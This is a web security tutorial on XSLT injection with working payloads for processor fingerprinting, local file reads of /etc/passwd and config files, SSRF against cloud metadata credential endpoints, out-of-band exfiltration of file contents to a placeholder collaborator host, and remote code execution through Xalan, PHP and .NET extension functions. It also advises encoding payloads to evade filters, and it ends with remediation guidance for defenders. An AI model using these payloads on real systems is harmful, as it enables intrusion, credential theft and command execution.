XSLT Injection: File Read, RCE via Extension Functions, SSRF, and Version Disclosure
XSLT injection is one of the most underestimated server-side vulnerabilities in modern applications. Wherever an application transforms XML into HTML, PDF, CSV, or another XML dialect, there is almost always an XSLT processor doing the work. When any part of the stylesheet — or the XML it consumes alongside an attacker-influenced stylesheet — comes from user input, you can do far more than break the output. Depending on the engine, XSLT gives you local file reads, server-side request forgery into the internal network, processor and library version disclosure, and in several common configurations full remote code execution through extension functions.
This guide is written for authorized testing only — your own labs, CTF targets, or engagements with explicit written scope. We will work through fingerprinting the processor first (because every escalation depends on which engine you are hitting), then move through version disclosure, file read, SSRF via document(), and finally RCE through Xalan-J, Saxon, libxslt, and PHP's php:function binding. We will close with concrete defenses.
Where XSLT Injection Lives
XSLT (Extensible Stylesheet Language Transformations) is a Turing-incomplete-but-surprisingly-capable language for transforming XML documents. Applications reach for it in places you might not expect:
- Report and document generation — XML data rendered to HTML or PDF through a stylesheet, sometimes with a user-selectable "theme" or "template".
- SOAP and legacy XML APIs — middleware that re-shapes one XML schema into another.
- CMS and templating layers — older .NET, Java, and PHP stacks that let editors upload or pick XSL files.
- Sitemap, RSS, and feed rendering — browsers and servers applying an
<?xml-stylesheet?>processing instruction.
You have a candidate injection point whenever you control the stylesheet itself, when you can influence an <?xml-stylesheet href="..."?> reference, or when the application lets you supply XML that is parsed by the same engine that loads a trusted stylesheet. The first task is always to confirm transformation is happening and to identify the engine.
Step 1: Fingerprint the Processor
Every meaningful payload below behaves differently across Xalan (Java), Saxon (Java/.NET), libxslt (the C library behind PHP and many CLI tools), and the legacy .NET System.Xml.Xsl engine. Confirm a transform is even occurring by injecting a trivially-evaluated expression. If the response reflects 49, your input is being executed as XSLT rather than printed verbatim:
<xsl:value-of select="7*7"/>
Next, ask the processor to identify itself. XSLT exposes system-property(), which returns the vendor, the supported XSLT version, and the vendor URL — no exploitation required, and it tells you exactly which escalation path to take:
<xsl:value-of select="system-property('xsl:vendor')"/>
<xsl:value-of select="system-property('xsl:version')"/>
<xsl:value-of select="system-property('xsl:vendor-url')"/>
Typical results map cleanly to a strategy:
Apache Software Foundation (Xalan ...)— Java; target Xalan/Java extension namespaces for RCE.SAXON ...— Saxon-HE/PE/EE; EE/PE support reflection and integrated extension functions.libxsltwith version1.0— usually PHP or a C tool; look at EXSLT and the PHPphp:functionbinding.Microsoft— older .NET;msxsl:scriptmay allow embedded C#/VB.
Step 2: Version Disclosure as Recon
Beyond the vendor string, XSLT version disclosure is valuable on its own. The reported XSLT version (1.0 vs 2.0/3.0) tells you which functions are available — document() and EXSLT in 1.0; the much richer unparsed-text(), doc(), regex, and higher-order functions in 2.0/3.0. Many processors also surface their exact library build, which you can cross-reference against known CVEs. For example, a libxslt build older than the EXSLT hardening changes, or a Saxon version predating its sandboxing options, immediately narrows your exploitation effort. Record the full triple of vendor, version, and vendor-url in your notes before going further — it is the single most efficient piece of recon XSLT gives you for free.
Step 3: Local File Read
XSLT 1.0 cannot read arbitrary text files cleanly, but it can pull in well-formed XML via document() and partially via EXSLT extensions. The cleanest reads happen on XSLT 2.0/3.0 processors such as Saxon, which expose unparsed-text() for raw files and doc()/document() for XML:
<!-- Saxon / XSLT 2.0+: read any text file verbatim -->
<xsl:value-of select="unparsed-text('/etc/passwd')"/>
<!-- Read line-by-line where unparsed-text-lines is supported -->
<xsl:for-each select="unparsed-text-lines('/etc/passwd')">
<xsl:value-of select="."/><xsl:text>
</xsl:text>
</xsl:for-each>
On libxslt, EXSLT's read-file equivalents and the PHP filter chain can be abused. Where the processor only ingests XML, point document() at a file that happens to be valid XML (config files, web.config, Java *.xml descriptors, Spring beans, Tomcat server.xml):
<xsl:copy-of select="document('file:///opt/app/WEB-INF/web.xml')"/>
High-value targets are the usual suspects — /etc/passwd, /proc/self/environ (process secrets and env-injected credentials), application config, and on Windows C:\Windows\win.ini or the IIS web.config. If the output is reflected, you read it directly; if not, you exfiltrate out-of-band as shown next.
Step 4: SSRF via document() and doc()
The same functions that fetch files also fetch URLs, which turns XSLT injection into a clean SSRF primitive. document() (1.0) and doc()/unparsed-text() (2.0+) will happily make outbound HTTP requests from the server:
<!-- Force the server to reach an internal service -->
<xsl:value-of select="unparsed-text('http://169.254.169.254/latest/meta-data/iam/security-credentials/')"/>
<!-- XSLT 1.0 fallback: pull internal XML/JSON-as-XML endpoints -->
<xsl:copy-of select="document('http://127.0.0.1:8080/admin/status')"/>
This is the same cloud-metadata and internal-pivot game as XXE, and the targets overlap exactly — AWS/GCP/Azure metadata endpoints, internal admin panels, and unauthenticated service ports. For blind cases where the response is not reflected, register an external interactsh or Burp Collaborator host and watch for the callback. The Callback Catcher helper generates ready-to-paste collaborator URLs for exactly this, and the broader SSRF target list carries straight over from our XXE exploitation guide. A simple OOB exfiltration trick is to concatenate the file contents into the SSRF URL:
<xsl:variable name="secret" select="unparsed-text('/etc/passwd')"/>
<xsl:value-of select="document(concat('http://YOUR_ID.oast.fun/?d=', encode-for-uri($secret)))"/>
Step 5: RCE via Extension Functions
The crown jewel of XSLT injection is remote code execution. XSLT itself cannot run shell commands, but every major processor ships an extension mechanism that bridges into the host language — and that bridge is the kill chain. Which payload works depends entirely on the engine you fingerprinted in Step 1.
Xalan-J (Java)
Xalan lets you bind a namespace to a Java class and call its static methods directly. If extensions are not disabled, this yields arbitrary Java execution and therefore OS command execution via Runtime.exec:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:rt="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:ob="http://xml.apache.org/xalan/java/java.lang.Object">
<xsl:template match="/">
<xsl:variable name="rtobj" select="rt:getRuntime()"/>
<xsl:variable name="proc" select="rt:exec($rtobj, 'id')"/>
<xsl:value-of select="ob:toString($proc)"/>
</xsl:template>
</xsl:stylesheet>
Saxon-PE/EE (Java / .NET)
Saxon's commercial editions support reflexive extension functions. With reflexion enabled you can invoke arbitrary static methods; the same Java reflection path to Runtime.exec applies. Saxon-HE (the free edition) disables this by default, which is itself a useful fingerprinting signal.
libxslt + PHP (php:function)
When libxslt is driven by PHP's XSLTProcessor and the application has called registerPHPFunctions(), the php:function binding turns the stylesheet into a PHP code-execution sink:
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl">
<xsl:template match="/">
<xsl:value-of select="php:function('system','id')"/>
</xsl:template>
</xsl:stylesheet>
If registerPHPFunctions() was called with no argument list, every PHP function is reachable — system, file_get_contents, passthru, and friends.
.NET (msxsl:script)
The legacy .NET processor supports embedded scripting blocks. If XsltSettings.EnableScript is on, you can drop inline C# that calls System.Diagnostics.Process:
<msxsl:script implements-prefix="user" language="C#">
public string run(){
var p = System.Diagnostics.Process.Start("cmd.exe","/c whoami");
return p.StandardOutput.ReadToEnd();
}
</msxsl:script>
When you land a shell, encode and stage your payloads through the Encoding Pipeline to slip them past any input filters on the transform endpoint, and rebuild the exact HTTP delivery with the curl command builder.
Detection and Testing Methodology
- Find every place XML is transformed: report exports, PDF/HTML generators, SOAP middleware, feed/sitemap rendering, and any "template" or "theme" selector.
- Confirm execution with
<xsl:value-of select="7*7"/>— a reflected49proves injection. - Fingerprint with
system-property('xsl:vendor')and'xsl:version'before attempting any escalation. - Test file read with
unparsed-text()/document(), then pivot to SSRF against internal and metadata endpoints. - Attempt the engine-specific RCE payload only on engines that match your fingerprint; capture OOB callbacks for blind confirmation.
Defenses and Remediation
XSLT injection is fundamentally an architecture and configuration problem, and the fixes are concrete:
- Never let users supply stylesheets. Treat the XSL as trusted code, not data. If a user must pick a template, map an opaque identifier to a server-side allowlist of vetted stylesheets — never accept the XSL body or a URL to it.
- Disable extension functions and scripting. In Java/Xalan and Saxon, set the secure-processing feature (
FEATURE_SECURE_PROCESSING) and disable extension functions. In .NET, leaveXsltSettings.EnableScriptandEnableDocumentFunctionoff. In PHP, do not callregisterPHPFunctions(), or restrict it to a tiny explicit whitelist. - Block external resource loading. Disable
document()/doc()/unparsed-text()network access and external entity resolution so file read and SSRF are off the table. Use a no-op or restrictedURIResolver/EntityResolver. - Run the transform sandboxed. Execute the XSLT engine as a low-privilege account with no outbound network access and a read-only, minimal filesystem view, so even a bypass yields little.
- Patch the processor. Keep libxslt, Xalan, Saxon, and runtime XML libraries current — the version disclosure that helps an attacker also tells defenders exactly what to update.
- Prefer simpler formats. Where a transform exists only to render data, a templating library with autoescaping and no code-execution surface is far safer than an XSLT processor.
If your testing surface also includes SAML, the same XML-engine weaknesses recur there — signature wrapping, XXE, and transform abuse all overlap. The SAML Security Analyzer is the right companion tool when an XSLT finding sits next to an identity layer. The throughline for both attacker and defender is identical: an XML transformer that loads untrusted input with extensions enabled is a code-execution engine wearing a formatting costume.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides